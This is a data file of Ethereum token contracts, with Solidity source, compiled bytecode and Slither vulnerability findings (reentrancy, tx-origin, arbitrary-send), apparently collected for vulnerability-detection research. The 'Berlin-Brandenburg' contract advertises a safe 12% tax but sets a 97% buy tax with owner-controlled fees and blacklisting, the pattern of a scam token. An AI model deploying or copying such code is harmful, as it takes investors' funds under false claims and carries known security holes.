ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610575578063dcb0e0ad1461058a578063dd62ed3e146105aa578063e8078d94146105f057600080fd5b8063a9059cbb14610515578063b2131f7d14610535578063c3c8cd801461054b578063c9567bf91461056057600080fd5b8063715018a6116100d1578063715018a61461048f5780638da5cb5b146104a457806394b8d8f2146104c257806395d89b41146104e257600080fd5b80635090161714610424578063590f897e146104445780636fc3eaec1461045a57806370a082311461046f57600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103ae57806340b9a54b146103ce57806345596e2e146103e457806349bd5a5e1461040457600080fd5b806327f3a72a14610324578063313ce5671461033957806332d873d814610360578063367c55441461037657600080fd5b80630b78f9c0116101b65780630b78f9c0146102b257806318160ddd146102d25780631940d020146102ee57806323b872dd1461030457600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f614610260578063095ea7b31461028257600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102536040518060400160405280600b81526020016a446f67654261652044414f60a81b81525081565b604051610213919061192f565b34801561026c57600080fd5b5061028061027b366004611999565b610605565b005b34801561028e57600080fd5b506102a261029d3660046119b6565b61067a565b6040519015158152602001610213565b3480156102be57600080fd5b506102806102cd3660046119e2565b610690565b3480156102de57600080fd5b50683635c9adc5dea00000610209565b3480156102fa57600080fd5b50610209600e5481565b34801561031057600080fd5b506102a261031f366004611a04565b6106f7565b34801561033057600080fd5b506102096107df565b34801561034557600080fd5b5061034e600981565b60405160ff9091168152602001610213565b34801561036c57600080fd5b50610209600f5481565b34801561038257600080fd5b50600854610396906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103ba57600080fd5b50600754610396906001600160a01b031681565b3480156103da57600080fd5b50610209600a5481565b3480156103f057600080fd5b506102806103ff366004611a45565b6107ef565b34801561041057600080fd5b50600954610396906001600160a01b031681565b34801561043057600080fd5b5061028061043f366004611999565b610889565b34801561045057600080fd5b50610209600b5481565b34801561046657600080fd5b506102806108f7565b34801561047b57600080fd5b5061020961048a366004611999565b610924565b34801561049b57600080fd5b5061028061093f565b3480156104b057600080fd5b506000546001600160a01b0316610396565b3480156104ce57600080fd5b506010546102a29062010000900460ff1681565b3480156104ee57600080fd5b5061025360405180604001604052806007815260200166444f474542414560c81b81525081565b34801561052157600080fd5b506102a26105303660046119b6565b6109b3565b34801561054157600080fd5b50610209600c5481565b34801561055757600080fd5b506102806109c0565b34801561056c57600080fd5b506102806109f6565b34801561058157600080fd5b50610209610a9a565b34801561059657600080fd5b506102806105a5366004611a6c565b610ab2565b3480156105b657600080fd5b506102096105c5366004611a89565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105fc57600080fd5b50610280610b25565b6007546001600160a01b0316336001600160a01b03161461062557600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610687338484610e70565b50600192915050565b6007546001600160a01b0316336001600160a01b0316146106b057600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff16801561072557506001600160a01b03831660009081526004602052604090205460ff16155b801561073e57506009546001600160a01b038581169116145b1561078d576001600160a01b038316321461078d5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b610798848484610f94565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107c7908490611ad8565b90506107d4853383610e70565b506001949350505050565b60006107ea30610924565b905090565b6007546001600160a01b0316336001600160a01b03161461080f57600080fd5b600081116108545760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610784565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd89060200161066f565b6008546001600160a01b0316336001600160a01b0316146108a957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a530149060200161066f565b6007546001600160a01b0316336001600160a01b03161461091757600080fd5b476109218161158e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161078490611aef565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610687338484610f94565b6007546001600160a01b0316336001600160a01b0316146109e057600080fd5b60006109eb30610924565b905061092181611613565b6000546001600160a01b03163314610a205760405162461bcd60e51b815260040161078490611aef565b60105460ff1615610a6d5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610784565b6010805460ff1916600117905542600f556801158e46094f6aca00600d556801a055690d9db80000600e55565b6009546000906107ea906001600160a01b0316610924565b6007546001600160a01b0316336001600160a01b031614610ad257600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161066f565b6000546001600160a01b03163314610b4f5760405162461bcd60e51b815260040161078490611aef565b60105460ff1615610b9c5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610784565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610bd93082683635c9adc5dea00000610e70565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3b9190611b24565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cac9190611b24565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cf9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1d9190611b24565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d4d81610924565b600080610d626000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dca573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610def9190611b41565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6c9190611b6f565b5050565b6001600160a01b038316610ed25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610784565b6001600160a01b038216610f335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610784565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ff85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610784565b6001600160a01b03821661105a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610784565b600081116110bc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610784565b600080546001600160a01b038581169116148015906110e957506000546001600160a01b03848116911614155b1561152f576009546001600160a01b03858116911614801561111957506006546001600160a01b03848116911614155b801561113e57506001600160a01b03831660009081526004602052604090205460ff16155b156113cb5760105460ff166111955760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610784565b600f544214156111d55760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610784565b42600f54610e106111e69190611b8c565b111561126057600e546111f884610924565b6112029084611b8c565b11156112605760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610784565b6001600160a01b03831660009081526005602052604090206001015460ff166112c8576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f5460786112d89190611b8c565b11156113ac57600d548211156113305760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610784565b61133b42601e611b8c565b6001600160a01b038416600090815260056020526040902054106113ac5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610784565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff161580156113e5575060105460ff165b80156113ff57506009546001600160a01b03858116911614155b1561152f5761140f42600f611b8c565b6001600160a01b038516600090815260056020526040902054106114815760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610784565b600061148c30610924565b905080156115185760105462010000900460ff161561150f57600c54600954606491906114c1906001600160a01b0316610924565b6114cb9190611ba4565b6114d59190611bc3565b81111561150f57600c54600954606491906114f8906001600160a01b0316610924565b6115029190611ba4565b61150c9190611bc3565b90505b61151881611613565b478015611528576115284761158e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061157157506001600160a01b03841660009081526004602052604090205460ff165b1561157a575060005b6115878585858486611787565b5050505050565b6007546001600160a01b03166108fc6115a8600284611bc3565b6040518115909202916000818181858888f193505050501580156115d0573d6000803e3d6000fd5b506008546001600160a01b03166108fc6115eb600284611bc3565b6040518115909202916000818181858888f19350505050158015610e6c573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165757611657611be5565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d49190611b24565b816001815181106116e7576116e7611be5565b6001600160a01b03928316602091820292909201015260065461170d9130911684610e70565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611746908590600090869030904290600401611bfb565b600060405180830381600087803b15801561176057600080fd5b505af1158015611774573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061179383836117a9565b90506117a1868686846117f0565b505050505050565b60008083156117e95782156117c15750600a546117e9565b50600b54600f546117d490610708611b8c565b4210156117e9576117e6600482611b8c565b90505b9392505050565b6000806117fd84846118cd565b6001600160a01b0388166000908152600260205260409020549193509150611826908590611ad8565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611856908390611b8c565b6001600160a01b03861660009081526002602052604090205561187881611901565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118bd91815260200190565b60405180910390a3505050505050565b6000808060646118dd8587611ba4565b6118e79190611bc3565b905060006118f58287611ad8565b96919550909350505050565b3060009081526002602052604090205461191c908290611b8c565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561195c57858101830151858201604001528201611940565b8181111561196e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461092157600080fd5b6000602082840312156119ab57600080fd5b81356117e981611984565b600080604083850312156119c957600080fd5b82356119d481611984565b946020939093013593505050565b600080604083850312156119f557600080fd5b50508035926020909101359150565b600080600060608486031215611a1957600080fd5b8335611a2481611984565b92506020840135611a3481611984565b929592945050506040919091013590565b600060208284031215611a5757600080fd5b5035919050565b801515811461092157600080fd5b600060208284031215611a7e57600080fd5b81356117e981611a5e565b60008060408385031215611a9c57600080fd5b8235611aa781611984565b91506020830135611ab781611984565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611aea57611aea611ac2565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b3657600080fd5b81516117e981611984565b600080600060608486031215611b5657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b8157600080fd5b81516117e981611a5e565b60008219821115611b9f57611b9f611ac2565b500190565b6000816000190483118215151615611bbe57611bbe611ac2565b500290565b600082611be057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c4b5784516001600160a01b031683529383019391830191600101611c26565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220df0bdf0cc92d092a1754c16d6d0fc2e8f53c66e7b2f9b505e28d36074837eabb64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,897
0x3b38e0fd5a24f6a2e06dd535a1962abc05c84b9f
/** *Submitted for verification at Etherscan.io on 2022-03-21 */ /** */ /** BERLIN-BRANDENBURG ELON MEME TWEET PLAY. 12% BUY/SELL TAX SAFU TELEGRAM : https://t.me/BerlinBrandenburgERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BerlinBrandenburg is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Berlin-Brandenburg"; string private constant _symbol = "Berlin-Brandenburg"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x8407C36901D8A858C1AEFFBfb9e3C1A90a3FC5c9); address payable private _marketingAddress = payable(0x8407C36901D8A858C1AEFFBfb9e3C1A90a3FC5c9); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 1000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461052d578063dd62ed3e1461054d578063ea1644d514610593578063f2fde38b146105b357600080fd5b8063a2a957bb146104a8578063a9059cbb146104c8578063bfd79284146104e8578063c3c8cd801461051857600080fd5b80638f70ccf7116100d15780638f70ccf7146104525780638f9a55c01461047257806395d89b41146101fe57806398a5c3151461048857600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638da5cb5b1461043457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611937565b6105d3565b005b34801561020a57600080fd5b5060408051808201825260128152714265726c696e2d4272616e64656e6275726760701b6020820152905161023f91906119fc565b60405180910390f35b34801561025457600080fd5b50610268610263366004611a51565b610672565b604051901515815260200161023f565b34801561028457600080fd5b50601454610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50670de0b6b3a76400005b60405190815260200161023f565b3480156102e157600080fd5b506102686102f0366004611a7d565b610689565b34801561030157600080fd5b506102c760185481565b34801561031757600080fd5b506040516009815260200161023f565b34801561033357600080fd5b50601554610298906001600160a01b031681565b34801561035357600080fd5b506101fc610362366004611abe565b6106f2565b34801561037357600080fd5b506101fc610382366004611aeb565b61073d565b34801561039357600080fd5b506101fc610785565b3480156103a857600080fd5b506102c76103b7366004611abe565b6107d0565b3480156103c857600080fd5b506101fc6107f2565b3480156103dd57600080fd5b506101fc6103ec366004611b06565b610866565b3480156103fd57600080fd5b506102c760165481565b34801561041357600080fd5b506102c7610422366004611abe565b60116020526000908152604090205481565b34801561044057600080fd5b506000546001600160a01b0316610298565b34801561045e57600080fd5b506101fc61046d366004611aeb565b610895565b34801561047e57600080fd5b506102c760175481565b34801561049457600080fd5b506101fc6104a3366004611b06565b6108dd565b3480156104b457600080fd5b506101fc6104c3366004611b1f565b61090c565b3480156104d457600080fd5b506102686104e3366004611a51565b61094a565b3480156104f457600080fd5b50610268610503366004611abe565b60106020526000908152604090205460ff1681565b34801561052457600080fd5b506101fc610957565b34801561053957600080fd5b506101fc610548366004611b51565b6109ab565b34801561055957600080fd5b506102c7610568366004611bd5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059f57600080fd5b506101fc6105ae366004611b06565b610a4c565b3480156105bf57600080fd5b506101fc6105ce366004611abe565b610a7b565b6000546001600160a01b031633146106065760405162461bcd60e51b81526004016105fd90611c0e565b60405180910390fd5b60005b815181101561066e5760016010600084848151811061062a5761062a611c43565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066681611c6f565b915050610609565b5050565b600061067f338484610b65565b5060015b92915050565b6000610696848484610c89565b6106e884336106e385604051806060016040528060288152602001611d89602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111c5565b610b65565b5060019392505050565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016105fd90611c0e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107675760405162461bcd60e51b81526004016105fd90611c0e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ba57506013546001600160a01b0316336001600160a01b0316145b6107c357600080fd5b476107cd816111ff565b50565b6001600160a01b03811660009081526002602052604081205461068390611239565b6000546001600160a01b0316331461081c5760405162461bcd60e51b81526004016105fd90611c0e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108905760405162461bcd60e51b81526004016105fd90611c0e565b601655565b6000546001600160a01b031633146108bf5760405162461bcd60e51b81526004016105fd90611c0e565b60158054911515600160a01b0260ff60a01b199092169190911790555